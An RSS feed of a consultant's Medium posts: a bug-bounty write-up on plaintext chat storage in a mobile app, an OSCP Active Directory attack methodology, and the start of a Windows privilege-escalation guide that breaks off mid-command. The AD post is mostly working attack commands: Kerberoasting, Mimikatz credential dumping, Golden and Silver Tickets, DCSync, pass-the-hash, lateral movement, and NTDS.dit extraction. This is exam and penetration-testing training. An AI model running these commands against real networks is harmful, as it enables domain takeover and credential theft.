<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Foysal Hossain, Senior Consultant @EY on Medium]]></title>
        <description><![CDATA[Stories by Foysal Hossain, Senior Consultant @EY on Medium]]></description>
        <link>https://medium.com/@authfoysal?source=rss-db1a64bfcf4b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jRrMz5_JvQ15Ha1CMjgwJQ.jpeg</url>
            <title>Stories by Foysal Hossain, Senior Consultant @EY on Medium</title>
            <link>https://medium.com/@authfoysal?source=rss-db1a64bfcf4b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 06:33:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@authfoysal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Got a Critical Vulnerability in a Popular Social Media App Within 5 Minutes]]></title>
            <link>https://authfoysal.medium.com/i-got-a-critical-vulnerability-in-a-popular-social-media-app-within-5-minutes-82878cc3c717?source=rss-db1a64bfcf4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/82878cc3c717</guid>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Foysal Hossain, Senior Consultant @EY]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 09:01:09 GMT</pubDate>
            <atom:updated>2026-10-21T09:02:29.747Z</atom:updated>
            <content:encoded><![CDATA[<p>Five minutes. That’s all it took between opening a rooted Android device for the first time and sitting on a <strong>Critical</strong> severity finding in a mobile app used by millions of people. No fuzzing, no custom tooling, no weeks of reverse engineering — just a methodical first pass through the app’s local storage.</p><p>This is the writeup of how that happened, why the fix was rated Critical, and the mindset that makes bugs like this so common even in apps built by large, well-resourced teams.</p><p><strong>TL;DR</strong></p><ul><li><strong>Target:</strong> A popular social media app’s Android client</li><li><strong>Vulnerability:</strong> Sensitive local storage — full chat conversations stored in plaintext in the app’s local SQLite database</li><li><strong>Access required:</strong> Physical/local access to the device, or a backup/extraction of app data</li><li><strong>Severity:</strong> Critical</li><li><strong>Time to find:</strong> ~5 minutes after setup, once the storage directory was inspected</li><li><strong>Root cause:</strong> No encryption at rest for a local database holding private user-to-user messages</li></ul><h3>Setting Up the Lab</h3><p>The whole test rig was deliberately boring — nothing exotic, just the standard mobile pentest baseline:</p><ol><li><strong>Target app</strong> — downloaded directly from the Google Play Store, the exact build any real user would install.</li><li><strong>Rooted Android device</strong> — a physical test device with root access, used to reach the app’s private data directory under /data/data/&lt;package&gt;/.</li><li><strong>Root detection bypass</strong> — the app shipped with a root/jailbreak check that blocked normal usage on a rooted device. A Frida script hooked the relevant detection calls at runtime and returned “not rooted” so the app would launch normally.</li><li><strong>adb shell</strong> — used to browse the app’s sandbox once the app was running and had generated its local data.</li></ol><p>None of this required a custom exploit or a zero-day bypass technique — public Frida root-detection bypass scripts and a rooted test phone are standard kit for any mobile app assessment.</p><h3>Reconnaissance</h3><p>With the root check bypassed, the next step was ordinary usage, not hacking: create a throwaway test account, explore the main flows, and build a feel for what the app does with user data.</p><p>For a social/messaging app, the obvious core features are the ones most likely to touch sensitive data: profile setup, following/connecting with other users, and — critically — direct messaging. A second test account was used on another device so a real conversation could be exchanged between two accounts, generating realistic chat data to inspect later.</p><p>At this point nothing unusual had happened yet. The app behaved exactly as expected from the outside. The interesting part was about to start — not in the traffic, but on disk.</p><h3>The Finding: Plaintext Chat Storage</h3><p>Most mobile apps built with cross-platform frameworks (Flutter, in this case) persist local state — settings, drafts, cached data, and often entire conversation histories — in a local SQLite database inside the app’s sandboxed data directory. That directory is only reachable with root or a rooted emulator, which is exactly why this class of bug survives so long: it’s invisible from the outside and invisible in a non-rooted QA pass.</p><p>The process was simple:</p><ol><li>adb shell into the device and navigate to the app&#39;s private storage: /data/data/&lt;package&gt;/app_flutter/.</li><li>List the directory contents — a .sqlite database file stood out immediately, named after the logged-in user&#39;s internal ID.</li><li>Open it with sqlite3 &lt;database&gt;.sqlite and run .tables to see the schema.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qBjODclOJmZFdteWez5TQ.png" /></figure><p>The table list included a messages table — exactly what you&#39;d hope not to find unprotected.</p><p>Run SELECT * FROM messages; and the entire chat history came back in <strong>plain, readable text</strong> — no encryption, no hashing, nothing. Every message sent and received through the app, stored verbatim in a queryable local database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_mPXUPUilDkKpmEJQC-bA.png" /></figure><p>In other words: anyone with physical access to the device, malware with local storage permissions, a lost/stolen/resold phone, or a local backup/extraction tool could read a user’s full private conversation history with a single SQL query — no credentials, no app login, no server interaction required.</p><h3>Why This Was Rated Critical</h3><p>At first glance, “local storage isn’t encrypted” can sound like a low-impact nitpick — it’s not a remote exploit, and it needs some form of access to the device. The severity comes from what was actually exposed and how easily it could be reached:</p><ul><li><strong>Data sensitivity</strong> — direct messages routinely carry phone numbers, financial details, addresses, intimate conversations, and other PII users reasonably expect to stay private. This isn’t metadata; it’s full message content.</li><li><strong>Low attack complexity</strong> — no reverse engineering of a protocol, no cryptographic attack, no privilege escalation beyond standard root. A single SQL query against a world-accessible-once-rooted file returns everything.</li><li><strong>Realistic threat scenarios</strong> — lost or stolen devices, resold or recycled phones that weren’t properly wiped, malicious apps with storage access on a rooted device, forensic/backup extraction tools, and shared or family devices are all common, not theoretical.</li><li><strong>Scale</strong> — this wasn’t a one-off account issue; it’s a storage design decision that affects every user’s chat history on the platform.</li></ul><p>Mapped to standard classifications, this falls under <strong>CWE-312 (Cleartext Storage of Sensitive Information)</strong> and <strong>OWASP Mobile Top 10 — M9: Insecure Data Storage</strong>. Given the sensitivity of the data, the ease of access once local storage is reached, and the scale of exposure, the program rated it <strong>Critical</strong>.</p><h3>Responsible Disclosure</h3><p>The finding was documented with a clear reproduction path — steps, screenshots of the storage layout and the database schema, and a plain-language explanation of impact and real-world attack scenarios — and submitted through the program’s official bug bounty / responsible disclosure channel. Out of respect for the program’s disclosure policy, the platform name and exact timeline are withheld here until public disclosure is permitted; this writeup focuses on the technique and the lesson rather than naming the target.</p><h3>Remediation</h3><p>For teams shipping similar chat or messaging features, a few concrete fixes close this class of bug:</p><ul><li><strong>Encrypt data at rest.</strong> Use SQLCipher or an equivalent encrypted database layer instead of a plain SQLite file, with keys backed by the Android Keystore / iOS Keychain rather than stored alongside the data.</li><li><strong>Minimize what’s persisted locally.</strong> Cache only what the UI needs (recent messages, not the full history) and let the server remain the source of truth where possible.</li><li><strong>Use platform-protected storage APIs</strong> (EncryptedSharedPreferences, Keystore-backed storage) for anything sensitive, instead of hand-rolled local files.</li><li><strong>Treat the local sandbox as untrusted</strong> on rooted/jailbroken or physically compromised devices — root detection is a speed bump, not a security control, and should never be the only thing standing between an attacker and plaintext data.</li><li><strong>Include local storage review in every mobile security test and release checklist</strong>, not just API and network-layer testing.</li></ul><h3>Lessons for Bug Hunters</h3><p>The biggest takeaway from this bug isn’t a clever technique — it’s that <strong>local storage review is one of the highest-ROI steps in mobile pentesting</strong>, and it’s often skipped because people assume “it’s just on the device, who can even reach that.”</p><p>A few things worth internalizing if you’re starting out in mobile bug hunting:</p><ul><li><strong>Check the boring stuff first.</strong> Local databases, shared preferences, cache files, and log files are consistently under-protected compared to network traffic, which gets far more developer attention.</li><li><strong>Root detection bypasses are table stakes, not an exploit.</strong> A Frida script that patches a boolean check isn’t “hacking the app” — it’s clearing an obstacle so you can test the app the way it’s actually used in the wild (on rooted devices, which are common among both testers and real attackers).</li><li><strong>Severity isn’t about how hard the bug was to find.</strong> A five-minute discovery can still be Critical if the impact is severe and the data sensitive — triagers rate based on consequence, not effort.</li><li><strong>Build a repeatable checklist.</strong> App storage directories, SQLite/Realm/Hive databases, SharedPreferences/NSUserDefaults, keychain usage, log output, and cached media are worth checking on every single mobile target.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82878cc3c717" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Exploitation for OSCP: My Complete Attack Methodology]]></title>
            <link>https://authfoysal.medium.com/active-directory-exploitation-for-oscp-my-complete-attack-methodology-6b0bee8e8317?source=rss-db1a64bfcf4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b0bee8e8317</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Foysal Hossain, Senior Consultant @EY]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 18:11:41 GMT</pubDate>
            <atom:updated>2026-09-02T18:11:41.224Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From domain enumeration to Domain Admin — the Active Directory attack chain that carried me through the OSCP exam.</em></p><h3>About Me</h3><p>Hey, I’m <strong>Foysal</strong> — a Senior Consultant at <strong>EY</strong>. I passed my <strong>OSCP+</strong> and <strong>OSCP</strong> exams on <strong>July 7, 2026</strong>, and this article is a direct continuation of my previous write-up on Windows Privilege Escalation. Here, I’m sharing the complete Active Directory attack methodology I relied on — from the first Get-NetUser query all the way to a Domain Admin shell on the DC.</p><p>Active Directory is where the OSCP exam (and most real-world internal engagements) genuinely separates candidates who understand offensive security from those who’ve only memorized commands. I hope this walkthrough gives you a structured, repeatable process rather than a disconnected list of tools.</p><p>If you find this useful, follow along — I’ll keep publishing practical, exam-focused offensive security content.</p><h3>Introduction</h3><p>Active Directory (AD) is the backbone of nearly every enterprise Windows network, and it’s also the single most valuable target in an OSCP-style Active Directory set. Unlike an isolated Windows or Linux box, AD is a <em>graph</em> — a web of users, groups, computers, sessions, and permissions — and compromising it rarely comes down to one exploit. It comes down to <strong>chaining</strong> small wins together: a readable share here, a cracked hash there, a misconfigured ACL somewhere else, until you’re standing on the Domain Controller.</p><p>In this article, I’ll walk through my end-to-end AD methodology in the order I actually apply it during an assessment or the exam:</p><ol><li>Understanding the fundamentals (so every attack makes sense, not just works)</li><li>Enumeration with PowerView and BloodHound</li><li>Attacking AD authentication — Kerberos and NTLM abuse</li><li>Lateral movement across the domain</li><li>Domain dominance — Golden Tickets and DCSync</li><li>Stealthy persistence and credential extraction via Shadow Copies</li></ol><p>Every technique below is something I used, tested, and refined in lab environments before relying on it under exam pressure.</p><h3>1. Active Directory Fundamentals — Before You Attack Anything</h3><p>You cannot exploit what you don’t understand. Before touching PowerView or Mimikatz, get the mental model straight.</p><p><strong>In simple terms:</strong> AD = a centralized authentication and authorization system for Windows networks.</p><ul><li><strong>Domain</strong> — a group of computers and users managed centrally (e.g., corp.local). When you see user@corp.local, that user belongs to a domain.</li><li><strong>Domain Controller (DC)</strong> — the brain of the domain. It authenticates users, stores password hashes, enforces permissions, runs Kerberos, and holds the AD database. Common DC ports are a dead giveaway:</li></ul><p>Port Service 53 DNS 88 Kerberos 389 LDAP 445 SMB</p><p>If you see all four open on one host, you’ve almost certainly found a Domain Controller.</p><ul><li><strong>Domain user vs. local user</strong> — a local user exists only on one machine; a domain user, created on the DC, can authenticate across every domain-joined machine.</li><li><strong>Trust</strong> — one domain allowing users from another domain to authenticate. Trust = a cross-domain authentication relationship.</li></ul><h3>Kerberos — the concept that unlocks everything else</h3><p>AD’s primary authentication protocol is Kerberos, a <strong>ticket-based</strong> system. Instead of sending a password on every request, a user authenticates once, receives a ticket, and reuses it:</p><ol><li>User logs in → sends a password hash to the DC</li><li>DC issues a <strong>TGT</strong> (Ticket Granting Ticket)</li><li>User presents the TGT to request a <strong>service ticket</strong> (TGS)</li><li>User accesses the target service (SMB, HTTP, SQL, etc.) with that ticket</li></ol><p>Nearly every advanced AD attack — AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Overpass-the-Hash — is really just an abuse of one step in this flow. Once Kerberos clicks, these attacks stop feeling like magic and start feeling like logic.</p><p><strong>LDAP</strong>, in short, is how tools query AD for information — who the users are, what groups exist, who’s an admin. BloodHound, ldapsearch, and netexec all use LDAP under the hood. <strong>GPO (Group Policy)</strong> pushes centralized configuration to every machine; a misconfigured GPO is a common privilege escalation vector.</p><h3>The OSCP mental model</h3><p>Don’t think: <em>“I need advanced red-team tradecraft.”</em> Think:</p><ul><li>Who can log in where?</li><li>Who has admin rights?</li><li>Can I reuse this credential somewhere else?</li><li>Can I impersonate this user?</li></ul><p><strong>AD exploitation, distilled: credential abuse + permission abuse.</strong> Everything below is a variation on those two ideas.</p><h3>2. Enumeration — PowerView and BloodHound</h3><p>You cannot attack what you haven’t mapped. This phase consumes more of my time than any single exploit, and it should.</p><h3>PowerView: manual, precise enumeration</h3><pre>powershell -ep bypass<br>Import-Module .\PowerView.ps1</pre><pre>Get-NetDomain<br>Get-NetUser | select cn,pwdlastset,lastlogon<br>Get-NetGroup &quot;Sales Department&quot; | select member<br>Get-NetComputer | select operatingsystem,dnshostname</pre><p><strong>Find where you already have local admin rights</strong> — this single command has handed me more footholds than any exploit:</p><pre>Find-LocalAdminAccess</pre><p><strong>Cross-reference with session data</strong> to figure out <em>who</em> is logged in where:</p><pre>Get-NetSession -ComputerName files04 -Verbose</pre><p>Or use the classic Sysinternals tool for the same purpose:</p><pre>.\PsLoggedon.exe \\files04</pre><p>If a privileged account like jeffadmin has an active session on a box you control, that&#39;s a flag to keep enumerating — not to rush in. Thorough analysis beats a quick, noisy win.</p><h3>Enumerate Service Principal Names (SPNs)</h3><p>SPNs link a service (Exchange, MS SQL, IIS) to a specific AD account — and they’re the foundation of Kerberoasting, covered later:</p><pre>setspn -L iis_service<br>Get-NetUser -SPN | select samaccountname,serviceprincipalname</pre><h3>Object permissions (ACLs/ACEs) — where the real gold is</h3><p>AD objects carry Access Control Entries (ACEs) that make up an ACL. Certain rights are effectively “game over” if you hold them on the right object:</p><p>Right What it lets you do GenericAll Full control over the object GenericWrite Edit specific attributes WriteOwner Change the object&#39;s owner WriteDACL Modify permissions applied to the object ForceChangePassword Reset the password without knowing the current one AllExtendedRights Change/reset passwords and more Self (self-membership) Add yourself to a group</p><pre>Get-ObjectAcl -Identity &quot;Management Department&quot; | ? {$_.ActiveDirectoryRights -eq &quot;GenericAll&quot;} | select SecurityIdentifier</pre><p>If you discover GenericAll on a group, don&#39;t just report it — demonstrate impact:</p><pre>net group &quot;Management Department&quot; stephanie /add /domain</pre><h3>Domain shares — the overlooked goldmine</h3><pre>Find-DomainShare<br>ls \\dc1.corp.com\sysvol\corp.com\Policies\</pre><p>SYSVOL frequently hides old Group Policy Preference (GPP) XML files with encrypted-but-crackable passwords:</p><pre>gpp-decrypt &quot;+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE&quot;</pre><h3>BloodHound: visualizing what PowerView only lists</h3><p>Manual enumeration tells you <em>facts</em>. BloodHound tells you the <em>shortest path to Domain Admin</em> — and on the exam, time is the scarcest resource you have.</p><p><strong>Collect data (Windows):</strong></p><pre>powershell -ep bypass<br>Import-Module .\Sharphound.ps1<br>Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix &quot;corp_audit&quot;</pre><p><strong>Collect data (Kali):</strong></p><pre>bloodhound-python -u user -p pass -d domain.local -ns &lt;DC_IP&gt; -c All</pre><p><strong>Analyze:</strong></p><pre>sudo neo4j start<br>bloodhound</pre><p>My must-run queries, every single time, in this order:</p><ol><li><strong>Find all Domain Admins</strong> — know your final target</li><li><strong>Shortest Paths to Domain Admins</strong> — the primary attack surface</li><li><strong>Find Principals with DCSync Rights</strong> — a path to hashes without ever touching the DC directly</li><li><strong>Shortest Path from Owned Principals</strong> — after marking every compromised account/computer as “Owned” (right-click → Mark as Owned)</li></ol><p>BloodHound is exceptional at surfacing exactly the ACL abuse, Kerberoastable accounts, and session-based lateral movement paths covered in the rest of this article — use it to confirm your manual findings and prioritize your next move.</p><h3>3. Attacking Active Directory Authentication</h3><p>This is where Kerberos and NTLM theory becomes practical credential access.</p><h3>NTLM vs. Kerberos, briefly</h3><p>NTLM authentication is used when a client authenticates by IP rather than hostname, or against a host not registered in AD-integrated DNS. Kerberos, by contrast, always routes authentication through the DC’s Key Distribution Center (KDC) first. Knowing which protocol is in play tells you which attacks (Pass-the-Hash vs. Pass-the-Ticket) are viable.</p><h3>Dumping cached credentials with Mimikatz</h3><pre>privilege::debug<br>sekurlsa::logonpasswords</pre><p>This single command has, across countless engagements, handed me NTLM hashes, and occasionally plaintext passwords, for every user who has ever interactively logged into that box.</p><p>To view active Kerberos tickets in memory:</p><pre>sekurlsa::tickets</pre><h3>Password spraying — low and slow</h3><pre>.\Spray-Passwords.ps1 -Pass Nexus123! -Admin</pre><pre>crackmapexec smb 192.168.50.75 -u users.txt -p &#39;Nexus123!&#39; -d corp.com --continue-on-success</pre><pre>.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt &quot;Nexus123!&quot;</pre><h3>AS-REP Roasting</h3><p>If Kerberos pre-authentication is disabled on an account, you can request an AS-REP for that user <strong>without any credentials</strong> and crack it offline.</p><pre>impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete</pre><pre>sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force</pre><p>Or from a Windows foothold with Rubeus:</p><pre>.\Rubeus.exe asreproast</pre><p>In one lab scenario, spraying pete&#39;s account against a user list surfaced that dave had pre-authentication disabled — cracking his AS-REP hash recovered his plaintext password directly. AS-REP Roasting requires zero domain credentials to attempt, which makes it worth running against every discovered username early in an assessment.</p><h3>Kerberoasting (TGS-REP Roasting)</h3><p>Any authenticated domain user can request a TGS for <em>any</em> SPN-associated account — and that ticket is encrypted with the service account’s own password hash, making it crackable offline.</p><pre>.\Rubeus.exe kerberoast /outfile:hashes.kerberoast</pre><pre>sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete</pre><pre>sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force</pre><p>Service accounts are notorious for weak, rarely-rotated passwords — Kerberoasting is consistently one of the highest-yield attacks in an AD environment.</p><h3>Silver Tickets</h3><p>A Silver Ticket forges a TGS for a <em>specific service</em>, requiring only the SPN’s own hash, the domain SID, and the target SPN — no DC interaction needed at forge time.</p><pre>privilege::debug<br>sekurlsa::logonpasswords<br>whoami /user</pre><pre>kerberos::golden /sid:S-1-5-21-... /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin</pre><pre>klist<br>iwr -UseDefaultCredentials http://web04</pre><h3>DCSync — becoming the Domain Controller, briefly</h3><p>If your compromised account holds replication rights (Replicating Directory Changes and Replicating Directory Changes All), you can impersonate a Domain Controller and pull any user&#39;s password hash — including the domain Administrator — without ever executing code on the DC itself.</p><pre>lsadump::dcsync /user:corp\Administrator</pre><p>From Kali:</p><pre>impacket-secretsdump -just-dc-user Administrator corp.com/jeffadmin:&quot;BrouhahaTungPerorateBroom2023!&quot;@192.168.50.70</pre><pre>crackmapexec smb 192.168.105.75 -u mike -p &#39;Darkness1099!&#39; --lsa</pre><p>Once you have an NTLM hash for a privileged account, moving to that account is straightforward:</p><pre>impacket-psexec Administrator@DC1_IP -hashes :NTLM_HASH<br>impacket-wmiexec Administrator@DC1_IP -hashes :NTLM_HASH<br>evil-winrm -i DC1_IP -u Administrator -H NTLM_HASH</pre><p>And when you have plaintext domain credentials instead of a hash, Kerberos authentication via Impacket works just as well:</p><pre>getTGT.py thm.loc/mary:&#39;SuperLongForKerberos123!&#39; -dc-ip 192.168.11.100<br>export KRB5CCNAME=mary.ccache<br>smbclient.py thm.loc/mary@SERVER1.thm.loc -k -no-pass -dc-ip 192.168.11.100</pre><h3>4. Lateral Movement — Turning One Box Into the Whole Domain</h3><p>Compromising the first host is rarely the finish line. Lateral movement is how a single foothold becomes domain-wide control.</p><h3>WMI</h3><pre>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create &quot;calc&quot;</pre><p>For a full reverse shell, encode a PowerShell payload to base64 and execute it via a CIM session:</p><pre>$credential = New-Object System.Management.Automation.PSCredential $username, $secureString<br>$Options = New-CimSessionOption -Protocol DCOM<br>$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options<br>Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command}</pre><h3>WinRM</h3><pre>winrs -r:files04 -u:jen -p:Nexus123! &quot;cmd /c hostname &amp; whoami&quot;</pre><p>Or, natively in PowerShell:</p><pre>New-PSSession -ComputerName 192.168.50.73 -Credential $credential<br>Enter-PSSession 1</pre><h3>PsExec</h3><pre>.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd</pre><p>Requires the authenticating user to be a local admin on the target, with ADMIN$ and File and Printer Sharing available — both true by default on most Windows Servers.</p><h3>Pass the Hash (PtH)</h3><p>Authenticate using a captured NTLM hash instead of a plaintext password — valid only against NTLM-authenticated services:</p><pre>impacket-wmiexec -hashes :369def79d8372408bf6e93364cc93075 corp/jen@192.168.1.50<br>crackmapexec smb 192.168.1.0/24 -u jen -H 369def79d8372408bf6e93364cc93075<br>evil-winrm -i 192.168.1.50 -u jen -H 369def79d8372408bf6e93364cc93075</pre><h3>Overpass the Hash (OtH)</h3><p>Convert an NTLM hash into a full Kerberos TGT, upgrading NTLM-only access into Kerberos-capable access:</p><pre>mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell</pre><pre>net use \\files04<br>klist</pre><h3>Pass the Ticket (PtT)</h3><p>No hash required at all — steal a ticket directly from memory and inject it into your own session.</p><pre>mimikatz # sekurlsa::tickets /export<br>mimikatz # kerberos::ptt [0;3e7]-0-2-40a10000-jen@cifs-files04.kirbi</pre><p>Stealing a <strong>TGT</strong> rather than a single service ticket is strictly more powerful — a TGT lets you request a ticket for <em>any</em> service the impersonated user can access, not just one.</p><h3>DCOM</h3><p>A less common but effective lateral movement path abusing the MMC20.Application COM object:</p><pre>$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(&quot;MMC20.Application.1&quot;,&quot;192.168.50.73&quot;))<br>$dcom.Document.ActiveView.ExecuteShellCommand(&quot;cmd&quot;,$null,&quot;/c calc&quot;,&quot;7&quot;)</pre><p>Swap the payload for a base64-encoded PowerShell reverse shell and this becomes a full remote code execution primitive — one more tool in the lateral movement toolbox when WMI or WinRM are locked down.</p><h3>5. Golden Tickets — Domain-Wide Persistence</h3><p>A Silver Ticket gets you into one service. A <strong>Golden Ticket</strong> gets you into the <em>entire domain</em>, indefinitely, as any user you choose — including a fabricated Domain Admin.</p><p>The prerequisite is steep: you need the NTLM hash of the krbtgt account, which typically requires Domain Admin access or direct DC compromise to obtain in the first place.</p><pre>mimikatz # lsadump::lsa /patch</pre><pre>RID  : 000001f6 (502)<br>User : krbtgt<br>NTLM : 1693c6cefafffc7af11ef34d1c788f47</pre><p>With the krbtgt hash and domain SID in hand, forge and inject the ticket:</p><pre>kerberos::purge<br>kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-... /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt</pre><pre>PsExec.exe \\dc1 cmd.exe<br>whoami /groups</pre><p>The whoami /groups output confirms membership in Domain Admins — a low-privileged user like jen, previously without DC access, now holds a domain-administrative TGT. This is the reason krbtgt password rotation (twice, in sequence) is one of the first remediation steps after any AD compromise.</p><h3>6. Shadow Copies — Stealthy, Offline NTDS.dit Extraction</h3><p>Running Mimikatz directly against LSASS is loud and heavily flagged by modern EDR. The Volume Shadow Copy Service offers a quieter path to the same data: a full copy of the AD database, NTDS.dit, extracted without ever touching the live filesystem or the running LSASS process.</p><pre>vshadow.exe -nw -p C:</pre><pre>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak<br>reg.exe save hklm\system c:\system.bak</pre><p>Transfer both files to Kali and extract every credential in the domain offline:</p><pre>impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL</pre><pre>Administrator:500:...:2892d26cdf84d7a70e2eb3b9f05c425e:::<br>krbtgt:502:...:1693c6cefafffc7af11ef34d1c788f47:::</pre><p>This single technique yields every domain account’s hash — Administrator, krbtgt, and every service and machine account — in one offline pass, making it one of the most valuable (and quiet) persistence and credential-harvesting techniques in the AD playbook.</p><h3>Building Your AD Attack Checklist</h3><p>Every technique in this article maps to a repeatable question, the same way my Windows privesc checklist does:</p><ol><li><strong>What does the domain look like?</strong> → PowerView + BloodHound enumeration</li><li><strong>Whose credentials can I get without any access at all?</strong> → AS-REP Roasting, password spraying</li><li><strong>Whose credentials can I get once I have <em>a</em> domain account?</strong> → Kerberoasting, ACL abuse</li><li><strong>Can I move to another host with what I already have?</strong> → PtH, OtH, PtT, WMI/WinRM/PsExec/DCOM</li><li><strong>Can I dump the entire domain?</strong> → DCSync, Shadow Copy extraction</li><li><strong>Can I stay in, indefinitely, as anyone?</strong> → Golden Ticket</li></ol><p>Run through these six questions on every AD engagement, in order, and you will rarely leave without a viable path to Domain Admin.</p><h3>Final Thoughts</h3><p>Active Directory exploitation isn’t a collection of isolated party tricks — it’s a single connected attack chain, and every technique in this article is a link in it. Enumeration tells you where the weak links are. Kerberos and NTLM abuse gets you the first credential. Lateral movement spreads that access. DCSync, Golden Tickets, and Shadow Copies turn a single compromised account into total domain control.</p><p>On the OSCP exam, the AD set rewards exactly this kind of structured thinking under time pressure. Don’t chase exploits — chase the graph. Follow the path BloodHound shows you, validate it manually, and execute methodically.</p><p>Good luck, and happy hacking.</p><p><em>I’m Foysal, a Senior Consultant at EY and an OSCP+ / OSCP certified professional. If this guide helped you, follow me for more OSCP and offensive security write-ups. Feel free to connect and share your own Active Directory attack paths in the comments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b0bee8e8317" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation for OSCP: A Practical Field Guide]]></title>
            <link>https://authfoysal.medium.com/windows-privilege-escalation-for-oscp-a-practical-field-guide-81313971d508?source=rss-db1a64bfcf4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/81313971d508</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[Foysal Hossain, Senior Consultant @EY]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 12:09:20 GMT</pubDate>
            <atom:updated>2026-09-02T12:09:20.358Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From a foothold to SYSTEM — the techniques, commands, and mindset you need to pass the OSCP exam.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHJw1O_-wFgN46AJSbDVIA.png" /></figure><h3>About Me</h3><p>Hey, I’m <strong>Foysal</strong> — a Senior Consultant at <strong>EY</strong>. I recently passed my <strong>OSCP+</strong> and <strong>OSCP</strong> exams on <strong>July 7, 2026</strong>, and I’m writing this article to share the exact Windows Privilege Escalation approach that got me through the exam.</p><p>This isn’t a theoretical write-up pulled from documentation — it’s the practical, battle-tested checklist I built and refined through hands-on lab practice, real engagements, and the exam itself. My goal is to help fellow OSCP candidates cut through the noise and focus on what actually works under exam pressure.</p><p>If you find this useful, feel free to connect with me and follow for more offensive security content — Active Directory attack paths and lateral movement techniques are coming up next.</p><h3>Introduction</h3><p>Getting an initial shell on a Windows box is only half the battle. In almost every OSCP exam scenario — and in real-world penetration tests — that first shell lands you as a low-privileged user. The real challenge, and often the deciding factor between a pass and a fail, is <strong>privilege escalation</strong>: turning that limited foothold into full NT AUTHORITY\SYSTEM access.</p><p>Windows privilege escalation isn’t about memorizing a single magic exploit. It’s a methodology — a repeatable process of enumeration, pattern recognition, and exploitation. In this article, I’ll walk through the techniques I rely on most during OSCP-style engagements, in the order I actually use them: from passive enumeration to service abuse, credential hunting, and kernel exploits.</p><p>If you’re preparing for OSCP, treat this as a checklist you can run through on every Windows target.</p><h3>1. Situational Awareness: Know Before You Escalate</h3><p>Before touching a single exploit, you need a clear picture of the machine you’ve landed on. This is the <strong>enumeration phase</strong>, and rushing through it is the single biggest mistake candidates make under exam pressure.</p><p>At minimum, gather:</p><ul><li>Username and hostname</li><li>Current user’s group memberships</li><li>Existing local users and groups</li><li>OS version and architecture</li><li>Network configuration</li><li>Installed applications</li><li>Running processes</li></ul><p><strong>Identity and privileges:</strong></p><pre>whoami<br>whoami /groups<br>whoami /priv<br>Get-LocalUser<br>Get-LocalGroup<br>Get-LocalGroupMember Administrators<br>systeminfo</pre><p><strong>Network context:</strong></p><pre>ipconfig /all<br>route print<br>netstat -ano</pre><p><strong>Installed software</strong> (check both registry hives — don’t skip the 32-bit path on a 64-bit OS):</p><pre>Get-ItemProperty 